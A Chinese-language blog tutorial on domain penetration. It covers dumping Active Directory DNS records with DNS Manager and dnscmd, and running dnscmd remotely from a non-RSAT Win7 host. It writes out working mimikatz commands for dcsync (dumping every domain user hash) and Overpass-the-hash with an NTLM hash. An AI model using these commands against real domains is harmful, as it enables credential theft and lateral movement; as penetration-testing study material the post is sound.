域渗透—— DNS 记录的获取

作者: admin 分类: 科技 发布时间: 2019-03-30 14:30

0x00 前言

在域渗透中,对域环境的信息搜集很关键,如果我们获得了域内管理员的权限,那么如何能够快速了解域内的网络架构呢?DNS 记录无疑是一个很好的参考。

本文将要介绍在域渗透中,获取 DNS 记录的常用方法。

0x01 简介

本文将要介绍以下内容:

· 通过 DNS Manager 获取 DNS 记录

· 通过 dnscmd 获取 DNS 记录

· 域内远程读取 DNS 记录的方法

0x02 通过 DNS Manager 获取 DNS 记录

测试系统:

· Windows Server 2008 R2 x64

选择 Administrative Tools -> DNS。

在 Forward Lookup Zones 下找到当前域名,能够显示当前域内的 DNS 记录,包括主机名和对应的 IP。

如下图:

0x03 通过 dnscmd 获取 DNS 记录

dnscmd:

用来管理 DNS 服务器的命令行接口,支持远程连接。

默认安装的系统:

· Windows Server 2003

· Windows Server 2008

· Windows Server 2003 R2

· Windows Server 2008 R2

· Windows Server 2012

· Windows Server 2003 with SP1

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069 ( v=ws.11 )

Win7 系统在使用时需要安装 Remote Server Administration Tools ( RSAT )

参考地址:

https://support.microsoft.com/en-us/help/2693643/remote-server-administration-tools-rsat-for-windows-operating-systems

RSAT 下载地址:

https://www.microsoft.com/en-us/download/details.aspx?id=7887

常用命令 :

( 1 ) 列出 DNS 区域中当前节点的资源记录:

Dnscmd . /EnumZones

如下图:

( 2 ) 列出 test.com 的信息:

Dnscmd . /ZoneInfo test.com

如下图:

( 3 ) 列举 test.com 中的记录,方法 1 ( 更详细 ) :

Dnscmd . /ZonePrint test.com

如下图:

( 4 ) 列举 testc.com 的记录,方法 2:

Dnscmd . /EnumRecords test.com .

如下图:

结果同 DNS Manager 获取的记录一致。

0x04 域内远程读取 DNS 记录的方法

方法分析

前提需要获得域管理员的权限。

第一种方法是先远程连接域控制器,然后在域控制器上执行 dnscmd 获取 DNS 记录。

第二种方法是在域内一台主机上面,执行 dnscmd 远程读取 DNS 记录。

但是 Win7 系统默认不支持 dnscmd,直接安装 Remote Server Administration Tools ( RSAT ) 也不现实。

于是,我尝试寻找在未安装 Remote Server Administration Tools ( RSAT ) 的系统上执行 dnscmd 的方法。

方法测试

向未安装 Remote Server Administration Tools ( RSAT ) 的 Win7 系统上复制一个 dnscmd.exe,直接执行,结果失败。

解决方法

通过 Process Monitor 记录 dnscmd 的执行过程,查看缺少哪些文件。

发现缺少文件 dnscmd.exe.mui。

补全缺少的文件,再次测试,最终找到解决方法。

在未安装 Remote Server Administration Tools ( RSAT ) 的系统上执行 dnscmd,需要满足以下条件:

1、dnscmd 保存在路径 C:WindowsSystem32 下

2、dnscmd.exe.mui 保存在 C:WindowsSystem32en-US 下 ( 该位置比较通用,也可以在其他位置 )

注:dnscmd 和 dnscmd.exe.mui 使用 Windows Server 2008 R2 下的即可。

这里提供一个测试文件 ( 我从 Windows Server 2008 R2 下获得的 ) :

https://github.com/3gstudent/test/dnscmd.exe

https://github.com/3gstudent/test/dnscmd.exe.mui

注:

仅供测试。

由于 dnscmd 在远程连接时,未提供输入用户名和口令的接口,这里需要借助 mimikatz 的 Overpass-the-hash。

首先需要获得域管理员用户的 hash,这里只能用 ntlm/rc4/aes128/aes256

如果获得了域管理员用户的明文口令,可以先将明文转为 ntlm,在线加密的网站:

https://md5decrypt.net/en/Ntlm/

补充:使用 dcsync 获得域内所有用户 hash 的方法。

域控制器上执行 mimikatz:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"

实际测试

测试环境的参数如下:

· 域管理员用户:Administrator

· 口令:DomainAdmin456!

· hash:A55E0720F0041193632A58E007624B40

Overpass-the-hash:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40"

这样会弹出一个 cmd.exe

接着使用 dnscmd 远程连接进行查询:

Dnscmd WIN-F08C969D7FM.test.com /EnumZones

Dnscmd WIN-F08C969D7FM /EnumZones

注:这里要使用 FQDN 或者计算机名。

如果想在命令行下实现整个流程,可以采用如下方法:

新建 c:test1.bat,内容如下:

Dnscmd WIN-F08C969D7FM.test.com /EnumZones > c:testout.txt

Overpass-the-hash:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40 /run:"cmd.exe /c c:test1.bat""

注:cmd.exe 下 " 需要使用转义字符 "

0x05 小结

本文介绍了在域内使用 Overpass-the-hash 实现 dnscmd 远程读取 DNS 记录的方法。

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!